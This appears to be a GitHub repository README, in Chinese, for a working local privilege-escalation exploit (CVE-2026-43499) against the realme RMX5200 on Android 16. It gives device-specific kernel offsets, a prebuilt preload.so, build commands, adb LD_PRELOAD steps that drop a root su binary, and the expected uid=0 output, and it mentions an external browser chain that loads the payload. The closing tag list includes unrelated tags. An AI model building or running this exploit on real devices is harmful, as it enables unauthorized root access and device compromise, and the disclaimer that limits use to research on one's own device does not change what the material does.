sorrow404Null/CVE-2026-43499-RMX5200

GitHub: sorrow404Null/CVE-2026-43499-RMX5200

针对 realme RMX5200 设备的 CVE-2026-43499 本地提权漏洞利用 SO 构建项目,包含源码、内核偏移量和预编译二进制文件。

Stars: 5 | Forks: 0

# 适用于 realme RMX5200 的 CVE-2026-43499 CVE-2026-43499 本地提权 **SO** 适用于: | 项目 | 值 | |------|--------| | 设备 | realme **RMX5200** / RE6030L1 | | Android | 16 | | 内核 | `6.12.23-android16-5-gb2a876903b49-ab14541642-4k` | | 指纹 | `realme/RMX5200/RE6030L1:16/BP2A.250605.015/...:user/release-keys` | 预编译二进制文件:[`bin/preload.so`](bin/preload.so) 此仓库仅保留 **SO 构建树**(源码 + 偏移量 + 预编译文件)。不包含浏览器 harness、固件转储或测试脚手架。 基于公开的 IonStack / popsicle-style 链;偏移量根据此设备的 `boot.img` + `xbl_config.img` 重新生成。 ## 目录结构 ``` . ├── bin/preload.so # prebuilt aarch64 shared object (verified) ├── generate_target.py # optional: regenerate target.h from boot+xbl ├── source/ │ ├── Makefile │ └── src/ │ ├── target.h # RMX5200 offsets │ ├── main.c preload.c slide.c ... │ └── kernelsnitch/ └── README.md ``` ## 构建 要求: - Android NDK(推荐 r27+) - Python 3 + `llvm-objdump`(仅在重新生成 `target.h` 时需要) ### 使用 make ``` # Linux NDK 示例 export NDK_ROOT=/path/to/android-ndk make -C source clean preload # Windows NDK 示例 make -C source clean preload \ NDK_ROOT="/c/Users/YOU/AppData/Local/Android/Sdk/ndk/27.2.12479018" \ NDK_TOOLCHAIN="/c/Users/YOU/AppData/Local/Android/Sdk/ndk/27.2.12479018/toolchains/llvm/prebuilt/windows-x86_64" ``` 输出: ``` source/build/bin/preload.so ``` ### 不使用 make(直接使用 clang) ``` cd source mkdir -p build/bin build/embed CC="$NDK_TOOLCHAIN/bin/aarch64-linux-android35-clang" $CC -O2 -Isrc -fPIE -pie -DTARGET_CONFIG_H=\"target.h\" \ src/su_daemon.c -o build/embed/su_daemon_aarch64_pie $CC -O2 -Isrc -fPIC -Wno-unused-parameter -Wno-sign-compare -Wno-unused-function \ -DTARGET_CONFIG_H=\"target.h\" \ src/main.c src/util.c src/slide.c src/fops.c src/pipe.c \ src/preload.c src/su_blob.S \ -shared -o build/bin/preload.so -pthread ``` ### 重新生成偏移量(可选) 需要匹配的固件镜像(不包含在此仓库中): ``` python3 generate_target.py \ --boot boot.img \ --xbl-config xbl_config.img \ --llvm-objdump llvm-objdump \ -o source/src/target.h ``` ## 运行 ### ADB LD_PRELOAD ``` adb push bin/preload.so /data/local/tmp/preload.so adb shell 'chmod 0644 /data/local/tmp/preload.so' adb shell 'LD_PRELOAD=/data/local/tmp/preload.so /system/bin/true' adb shell '/data/local/tmp/su -c id' ``` ### 浏览器链(外部) 通过 Firefox-151 lonStack-style 主机(例如 Rootme 设备条目)加载此 `preload.so`。不包含在此仓库中。 成功标志: ``` slide-kaslr-ok direct credential result uid=0 ... local su binary ready path=/data/local/tmp/su direct-root-summary root=1 ... ``` ``` uid=0(root) gid=0(root) ... context=kernel ``` ## 注意事项 - **仅为临时 root** —— 重启后会失效。 - 成功后,部分应用可能在重启前无法完成 Framework 初始化(与相关公开目标存在的副作用类型相同)。 - 偏移量是**特定于构建版本的**。其他 OTA 构建版本需要新的 `target.h` 或重新构建。 - 仅限对自己拥有的设备进行授权的安全研究。 ## 鸣谢 - 公开研究背景:IonStack / CVE-2026-43499 分析文章 - 实现渊源:popsicle-style `preload.so` 链 - 设备适配:RMX5200 (RE6030L1)
标签:Android, CSV导出, DSL, Web报告查看器, 客户端加密, 本地提权, 逆向工具